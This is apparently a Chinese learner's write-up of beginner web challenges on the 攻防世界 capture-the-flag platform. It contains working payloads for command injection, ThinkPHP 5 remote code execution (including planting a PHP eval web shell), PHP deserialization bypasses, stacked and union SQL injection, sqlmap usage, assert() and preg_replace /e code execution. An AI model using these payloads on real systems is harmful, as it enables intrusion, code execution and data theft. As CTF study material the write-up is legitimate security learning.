攻防世界的新手web题解
攻防世界引导模式
1、disabled_button
好,给了一个按钮,第一道题目就不会做
看的wp<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
简单分析一下代码
<input ... >: 这是一个HTML的输入标签。它通常用于收集用户输入,但在这里它被用作一个提交按钮。
disabled: 这是一个属性,表示这个按钮是禁用的。当按钮被禁用时,用户不能点击它。这在某些情况下很有用,例如,当你想要显示一个按钮但不想让用户点击它时。
disabled 属性规定应该禁用 input 元素。被禁用的 input 元素既不可用,也不可点击,直到满足某些其他的条件为止(比如选择了一个复选框等等),然后,就需要通过 JavaScript 来删除 disabled 值,将 input 元素的值切换为可用。disabled 属性无法与 <input type="hidden"> 一起使用。
class="btn btn-default": 这是一个类属性,通常用于CSS样式和JavaScript功能。在这里,它有两个类:btn 和 btn-default。这通常是用于Bootstrap或其他前端框架的,以便应用特定的样式。
style="height:50px;width:200px;": 这是一个内联样式属性,直接定义了这个按钮的高度为50像素,宽度为200像素。
type="submit": 这表示这个输入是一个提交按钮。当用户在表单中点击这个按钮时,表单会被提交。
value="flag": 这定义了按钮上显示的文本,即“flag”。
name="auth": 这给按钮定义了一个名字,名为“auth”。这在表单提交时很有用,因为服务器可以识别这个按钮是被点击的。
所以直接把 disabled删除,双击选中它,删除然后点击flag
最终得到flag
2、command_execution(小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。)
这道题目给了一个ping地址的东西,很显然我不会,果然师傅说的没错,不是CTFshow刷完了就完结了,还有很多题目是我没有见到过的。
ping命令
ping 命令是一个常用的网络命令,用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包,并等待目标计算机返回响应数据包来测试网络的可达性,同时也可以测试网络的延迟和丢包率等信息。
ping命令的应用格式
1.ping+IP地址或主机域名
2.ping+IP地址或主机域名+命令参数
3.ping+命令参数+IP地址或主机域名
ping命令执行漏洞
如果 ping 命令不正确地处理其输入参数,就可能存在被攻击者利用来运行危险的命令的风险。
例如,如果在 ping 命令中使用了一个长度超过其预期的输入参数,则可能会导致该命令出现缓冲区溢出漏洞。
该题可将输入参数截断从而让其运行危险的参数,常见的连接符有
例如,ping127.0.0.1| ls /时,将显示ls /的执行结果,即列出目录
回到刚刚的题目
然后从中一个一个找下一层目录有没有flag,最后在home这一层找到flag.txt
3、baby_web(想想初始页面是哪个)
这道题目起初给了我们一个界面,但是他的链接是1.php,我们直接改成index.php,发现不行,仍然是跳转到1.php这边来,后来想到抓个包试试
访问index.php时发现他自动跳转回了1.php
抓包
Location: 1.php
所以index.php通过302重定向1.php,我当时找半天没找到这个flag在哪里,我只看到了下面的flag is hidden,一直没往上看
4、simple_js(小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} ))
我们也是密码怎么输入都不对,查看一下源代码
这段JavaScript代码是一个解密函数,用于解密经过特定编码的密码字符串。
dechiffre(pass_enc) 函数定义了一个解密函数,它接受一个经过编码的密码作为输入。
在函数内部,将两个字符串 pass_enc 和 pass 分别表示为经过编码的密码和用于解密的密钥。
使用 split() 函数将经过编码的密码字符串和密钥字符串分割成数组。
通过循环,将编码后的密码字符串逐个解码,最终得到原始密码。
然后,通过 String.fromCharCode() 函数将字符代码转换为对应的字符。
最后,将解密后的密码返回。
在代码的末尾,通过 prompt() 函数获取用户输入的密码,并通过 alert() 函数显示解密后的密码。这段代码主要就是
5、unserialize3
这道题目是一个简单的绕过魔术方法(wakeup)的反序列化题目
这道题目只要我们去把绕过wakeup就可以获取到flag
首先我们先反序列化一下这个数值,如何获得这个序列化的值,我们
此时需要绕过__wakeup()方法:
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:所以只要把O的4改成5就可以了
6、thinkphp5
这道题目一看就是让我们去寻找PHPV5的漏洞,因为前几天刚做过5.1的漏洞,所以我一直再找反序列化的可控入口,可是怎么点击都没有,后面发现5的漏洞不是这个,发现只要传参就可以了
# 第一个
http://127.0.0.1/cms/thinkPHP5/thinkphp_5.0.0/public/?s=captcha&test=whoami
POST _method=__construct&filter[]=system&method=GET&get[]=whoami
# 第二个
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php @eval($_POST[shell]); ?>
然后就可以获取到这个flag了。
7、warm up(一看就是反序列化的题目)
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false; //没有设置$page或者$page不是字符型返回false
}
if (in_array($page, $whitelist)) { //in_array()检查数组中是否存在某个值
return true; //验证输入的是否为
白名单内容,是则返回真
}
//mb_substr()返回字符串的一部分
//mb_strpos()查找字符串在另一个字符串中首次出现的位置,没匹配到则返回字符串长度
//mb_strpos返回$page里?出现的第一个位置
//mb_substr截取?前内容,无?则全部获取
$_page = mb_substr($page,
0,
mb_strpos($page . '?', '?'));
if (in_array($_page, $whitelist)) {
return true; //如果$_page在白名单里则返回true
}
$_page = urldecode($page); //对$page进行url解码
$_page = mb_substr($_page,
0,
mb_strpos($_page . '?', '?'));
//解码后,再次截取?前的字符
if (in_array($_page, $whitelist)) {
return true; //第三次白名单验证
}
echo "you can't see it";
return false;
}
}
//主函数
if (! empty($_REQUEST['file']) //empty()用于检查一个变量是否为空,file不能为空,我们要传入一个file参数
&& is_string($_REQUEST['file']) //判断是否为string类型
&& emmm::checkFile($_REQUEST['file']) //调用checkFile,检测是否过白名单
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
反序列化的题目还是一看就头疼,根本看不懂这道题目再说什么
8、NewsCenter
这道题目看起来就像是SQL注入的东西,然后我们就可以使用联合查询试试,但是我发现我用and和or的话页面会跳转到空白页面,然后我们就使用BP抓一下包,然后试了很多查询,但是好像应该是被过滤掉了,所以这道题应该是SQL但是不是用手注,而是用SQLmap来跑,发现这个-u的跑不出来。后来发现sqlmap还有另外一种用法。
然后保存在桌面,123.txt
然后用sqlmap注入(这方面我也不太会。。。)
查找数据库 -r C:\Users\123\Desktop\123.txt --dbs 发现有两个数据库
sqlmap -r '/root/桌面/1.txt' -D news -T secret_table --columns
sqlmap -r '/root/桌面/1.txt' -D news --tables
sqlmap -r '/root/桌面/1.txt' --dbs
sqlmap -r '/root/桌面/1.txt' -D news -T secret_table -C fl4g
然后最后得出flag,这道题目就搞出来了,sqlmap这个是新东西,学习学习
9、Web_php_unserialize
代码审计
这段代码首先定义了一个名为 Demo 的类,包含了一个私有变量 $file 和三个魔术方法 __construct()、__destruct() 和 __wakeup()。其中:
__construce()方法用于初始化 $file 变量
__destruce方法用于输出文件内容
__wakeup() 方法检查当前对象的 $file 变量,如果不等于 index.php,则将其重置为 index.php,从而防止攻击者通过反序列化攻击来读取 fl4g.php 文件的内容。
这段代码主要是用于接收 GET 参数 var,使用 base64_decode 函数对 var 进行解码,然后通过 preg_match 函数判断是否包含类似 o:2的字符串,如果存在则中断程序执行,否则调用 @unserialize 函数进行反序列化操作。
这道题目构造一下我们的poc:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
wakeup绕过
修改反序列化串的对象属性个数,使之大于真实属性个数即可。
构造POC如下:O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
然后第二个是绕过preg_match的正则表达式/[oc]:\d+:/i表示匹配任意个位于开头的 o 或 c 字符,紧接着一个冒号,然后是一或多个数字,最后是一个冒号,不区分大小写。
即形如o:2:的字符串被过滤,使用 + 即可绕过(固定知识点)所以我们的poc:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
最后一步把他base64编码一下,poc:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
然后进行传参
十、supersqli
这道题目一看就知道是SQL注入
证实了闭合方式为单引号,继续测试字段数目(order by / group by ),经测试,字段数目为2。接着开始注数据库名,表名等关键信息:
首先尝试Union联合注入---构造payload: ?inject=1' union select database(),提交页面如下:页面回显提示我们后端代码对注入点inject提交的内容进行了过滤,将 select、where等一系列关键字进行了过滤,并无视大小写,阻止了 大小写绕过 等绕过方法。所以Union联合注入不可行。
同时,观察到 show、from 等一些堆叠注入关键词没有被过滤,故尝试堆叠注入,构造payload:?inject=1';show databases; --+ ,提交页面如下:
发现回显数据库信息,证实堆叠注入可行。继续注表名,构造payload:?inject=1';show tables' --+,提交页面如下:
然后下一步就说爆库了,首先查看表 words,发现列名分别为 id 和 data,猜测表words可能为默认查询的表,构造payload:?inject=1'or 1=1 #进行验证:
观察到回显内容格式均为 id + data 的格式,证实表 words 为默认查询的表。
继续查询 表1919810931114514中的列,构造相同payload:?inject=1';show columns from `1919810931114514`; #,提交查询页面如下:
然后我们发现这个flag再这个1919的表里面。
已知表 words 为查询的默认表,则可以利用 rename 关键字将 表word改名为words,并将表 1919810931114514改名为 word,这样默认查询的表就变成了原先的 表1919810931114514,并将列 flag 改为 id,这样进行查询则可得到 flag 的值:
; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
拆开:
; alter tables words rename to words1;
; alter tables `1919810931114514` rename to words ;
; alter tables words change flag id varchar(50); #
方法一:
根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id
利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)
方法二、预编译
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
这道题目不是很懂,后面再来学习这个知识点
十一、My PHP Website
打开就一个网站的界面
用kali扫除git泄露,直接进到里面去
进入Githack-master文件目录,打开终端输入以下命令获取源码
然后有一个index.php的源码
blob 2199 <?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
真正的代码就只有着一些,(刚学php的小白表示来简单的学习下这些函数)
isset()检测变量是否已声明,
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串 的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的 参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。
(关于php命令执行后期会出一个学习心得,最近有点卡在这了)
过程
再重新回到源码,
先是以get请求获得page值,如果没有则返回。
之后再把page值添加,构造文件路径名
然后用strpos函数检查文件路径名是否有".." 如果没有的话 返回false
这里肯定要让它false 之后false==false才能执行下一步assert("file_exists('$file')")
assert("file_exists('$file')") 在这里构造payload
$file=111') or system("cat templates/flag.php");
最终payload为 ?page=111') or system("cat templates/flag.php");//
之后按一定要按F12查看源码看flag
ics-05
这道题目我们刚打开是一个设备维护中心,我本来以为是之前的SQL注入但是没想到不是,啥都没有tm的,但是发现了一个点,点击这个云平台设备维护中心会跳出来page=什么,index.php他回显了一个OK然后我们就可以看看有没有flag.php,但没有回显,我们可以使用伪协议来读取index.php的内容,这样我们就读取到了其中的内容
然后对他进行解码,发现是一串php代码审计,对于这个是真头疼啊骂他说要内部人员测试,所以把协议头改成127.0.0.1就可以了,然后这边出现了一个漏洞就是
查了一下preg_replace函数,有一个很严重的漏洞存在。举个例子:preg_replace("/txt/e",$_GET["ganyu"],"txt");/e会将ganyu当做php代码运行,所以我们可以利用这个点,构造出来payload:
?pat=/txt/e&rep=system('ls')&sub=txt
?pat=/txt/e&rep=system('ls+s3chahahaDir')&sub=txt
?pat=/txt/e&rep=system('ls+s3chahahaDir/flag')&sub=txt
然后就可以获取到flag了
fakebook
这道题目首先给出一个登录界面但是试了SQL注入也不行,应该不是这样做的,然后看到另一个注册的地方
然后blog那边有问题,一直输入提示错误,后面找到了随便一个网站然后就成功注册成功了。
发现这边有一个admin可以
打开之后发现no那边应该可以用sql注入,然后我就是用sqlmap跑了一下,发现跑不出来
那我们就可以通过手动注入来看一下他的列数。到5的时候发现是4列,所以我们就可以试试select行不行。http://61.147.171.105:55570/view.php?no=1/**/order/**/by/**/5--+
发现我们的库的名字是facebook,并且这里也写出了一个路径,我们可以尝试用dirsearch去扫描一下发现我们里面有一个flag.php,然后我们就可以猜测flag.php在/var/www/html/flag.php路径下
解法一:
mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php
构造payload:
然后我们查看源代码,发现flag这时候就出来了
http://61.147.171.105:55570/view.php?no=-1/**/union/**/select/**/1,load_file("/var/www/html/flag.php"),3,4--+
解法二:
不使用load_file
由于拿到了数据库名,查询表数据
查询表名
http://61.147.171.105:55570/view.php?no=-1/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
开头为注册用户,中间为注册时设置的密码被加密,末尾为序列化内容,这里单独吧data列出
是个序列化后的UserInfo对象,下意识想起之前那份备份文件也定义的类为UserInfo,最开始时的用户界面为no=1时,靶场根据users表查询no=1进行渲染的页面。可以猜测,和数据库表中的字段no,username,passwd,data顺序相似,第四个字段应该就是data。思考一下,一共有4个字段,select的时候如果将第四个字段插入data序列化后的内容,是否就回显了我们注册的admin用户和他的blog呢?所以我们就构造一下传参
1 and 0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:" file:///var/www/html/flag.php";}' from users#
然后打开源代码,发现这里就有了flag